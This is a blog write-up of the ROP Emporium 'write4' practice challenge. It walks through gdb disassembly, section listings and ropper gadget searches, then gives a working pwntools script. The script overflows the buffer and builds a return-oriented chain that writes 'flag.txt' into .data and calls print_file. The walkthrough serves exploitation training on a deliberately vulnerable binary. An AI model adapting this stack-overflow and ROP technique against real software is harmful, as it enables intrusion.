ropemporium: write4
Table Of Contents
intro
Happy July 4th. This is going to be a writeup of the ropemporium: write4 challenge so if you don’t want spoilers for that, read another post.
This challenge is where it starts to get interesting. The goal is the same (to print out the flag.txt
file), but there’s no pre-arranged string hidden in the binary like /bin/cat flag.txt
which we can feed directly into a system
call to do what we want.
exploration
The first thing we always need to do is look at the symbol table for interesting names:
nm write4| grep ' t'
0000000000400560 t deregister_tm_clones
00000000004005d0 t __do_global_dtors_aux
0000000000400600 t frame_dummy
0000000000400590 t register_tm_clones
0000000000400617 t usefulFunction
0000000000400628 t usefulGadgets
Right off the bat we have some leads. Let’s load these into gdb and see what we’re working with:
gdb -q write4
Reading symbols from write4...
(No debugging symbols found in write4)
(gdb) disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400617 <+0>: push %rbp
0x0000000000400618 <+1>: mov %rsp,%rbp
0x000000000040061b <+4>: mov $0x4006b4,%edi
0x0000000000400620 <+9>: call 0x400510 <print_file@plt>
0x0000000000400625 <+14>: nop
0x0000000000400626 <+15>: pop %rbp
0x0000000000400627 <+16>: ret
End of assembler dump.
(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov %r15,(%r14)
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nopl 0x0(%rax)
End of assembler dump.
What looks interesting right away? At 0x40061b
we are loading the contents of the address 0x4006b4
into rdi
. What’s there now?
(gdb) x/s 0x4006b4
0x4006b4: "nonexistent"
And at 0x400620
we call some function called print_file
. Which is the entire goal of the challenge, if we can get our flag.txt
to be called there.
So the original authors of the binary intended rdi
to contain an address pointing to this string, and our job is to call print_file
after loading a different address into rdi
: perhaps somewhere we have written our own string.
At this point our high-level outline of a ROP chain comes into view:
- Find somewhere writeable
- Write the string “flag.txt” to an address there
- Load that address into
rdi
- Call
print_flag
What about the usefulGadgets
? This was actually represented two different ways on two machines for me. On the first linux box I wrote this post on, it looked like this:
(gdb) disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov QWORD PTR [r14],r15
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nop DWORD PTR [rax+0x0]
End of assembler dump.
Here’s a good explanation of the mov QWORD PTR
instruction.. The gist of it is simple: mov
instructions are of the form mov target, source
, and the QWORD PTR
and brackets mean to treat whatever is in the first operand as an address.
So this is how we will achieve writing to an arbitrary address in the process’s virtual address space.
recap: what we have so far
We can:
- write data residing in
r15
to an arbitrary address residing inr14
- call
print_file
which takes whatever is inrdi
What do we need now? We need:
- a writeable address (
$that_address
) - a way to write
$that_address
intor14
- a way to write “flag.txt” into
r15
- a way to write
$that_address
intordi
finding a writeable address
What are the writeable sections of the binary?
Long output here. Feel free to scroll past it.
readelf -S write4
There are 29 section headers, starting at offset 0x1980:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.bu[...] NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
0000000000000038 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002d0 000002d0
00000000000000f0 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 00000000004003c0 000003c0
000000000000007c 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040043c 0000043c
0000000000000014 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400450 00000450
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400470 00000470
0000000000000030 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004004a0 000004a0
0000000000000030 0000000000000018 AI 5 22 8
[11] .init PROGBITS 00000000004004d0 000004d0
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 00000000004004f0 000004f0
0000000000000030 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400520 00000520
0000000000000182 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004006a4 000006a4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 00000000004006b0 000006b0
0000000000000010 0000000000000000 A 0 0 4
[16] .eh_frame_hdr PROGBITS 00000000004006c0 000006c0
0000000000000044 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400708 00000708
0000000000000120 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000600df0 00000df0
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000600df8 00000df8
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000600e00 00000e00
00000000000001f0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000600ff0 00000ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000601000 00001000
0000000000000028 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000601038 00001038
0000000000000008 0000000000000000 WA 0 0 1
[25] .comment PROGBITS 0000000000000000 00001038
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00001068
0000000000000618 0000000000000018 27 46 8
[27] .strtab STRTAB 0000000000000000 00001680
00000000000001f6 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00001876
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
This would indicate the .init_array
, .fini_array
, .dynamic
, .got
, .got.plt
, .data
, .bss
sections of our process space are all writeable.
What are the sizes of those sections? Some of them will be listed with size
:
size write4
text data bss dec hex filename
1502 584 8 2094 82e write4
Let’s just try like, the data
section since that has plenty of space. That starts at address 0x601028 (from output above or readelf -t write4
).
writing into r14, r15, and rdi (let’s use ropper)
At this point, I decided to try out the ropper
tool. It has a lot of cool customization options, but we won’t need any right now.
Let’s look for a way to write to r14
:
ropper --file write4 | grep r14
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400628: mov qword ptr [r14], r15; ret;
0x000000000040068c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040068e: pop r13; pop r14; pop r15; ret;
0x0000000000400690: pop r14; pop r15; ret;
0x000000000040068b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040068f: pop rbp; pop r14; pop r15; ret;
0x000000000040068d: pop rsp; pop r13; pop r14; pop r15; ret;
The gadget at 0x400690
will do that, and also takes care of writing to r15
while we’re at it!
Although we could also use 0x40068c or 0x40068e if we were careful to pad the stack. Notice, actually, that these are all basically the same big gadget starting at different addresses, with each instruction separated by two bytes.
0x40068b pop rbp
0x40068c pop r12 (0x40068d pop rsp)
0x40068e pop r13 (0x40068f pop rbp)
0x400690 pop r14
0x400692 pop r15 # verify for yourself
How about one to get our address into rdi
?
ropper --file write4 | grep rdi
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400693: pop rdi; ret;
0x400693
which appears to be the very next instruction. Sick.
final rop chain
Now we can start constructing our functional ROP chain.
r14
/r15
gadget- arguments on the stack for
r14
andr15
:.data
section address we want to write to- the string we want to write there (filename “flag.txt”)
usefulGadget
(which operates on what’s already inr14
andr15
, so no args necessary)rdi
gadget- argument to the
rdi
gadget, which takes whatever’s next in the stack and puts it inrdi
- this will be the
.data
address again
- this will be the
- address of
print_file
function
exploit
I’ll keep it 100 with you: I don’t find it useful at this point to build these ROP chains in shellcode. It’s still possible and I’ve done it, but it’s the same process as before with nothing really special about it. So I will just post the pwntools
Python code below which is much more readable. If you really want the breakdown for the shellcode, email me and I’ll post it here.
from pwn import *
prog = process("./write4")
payload = b'A' * 40
r14_r15_gadget = 0x400690
data_section = 0x601028
# Or you could do it like this
# flag_txt = 0x74_78_74_2e_67_61_6c_66
flag_txt = int.from_bytes(b'flag.txt', 'little')
useful_gadget = 0x400628
rdi_gadget = 0x400693
print_file = 0x400510
payload_order = [
r14_r15_gadget, data_section, flag_txt,
useful_gadget,
rdi_gadget, data_section,
print_file,
]
payload += b''.join([p64(addr) for addr in payload_order])
print(prog.recvuntil(b'>'))
prog.clean()
prog.sendline(payload)
print(prog.clean())
python exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/christopherrmullins/.cache/.pwntools-cache-3.11/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or /home/christopherrmullins/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.12.0)
[+] Starting local process './write4': pid 4126
b'write4 by ROP Emporium\nx86_64\n\nGo ahead and give me the input already!\n\n>'
b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'
[*] Stopped process './write4' (pid 4126)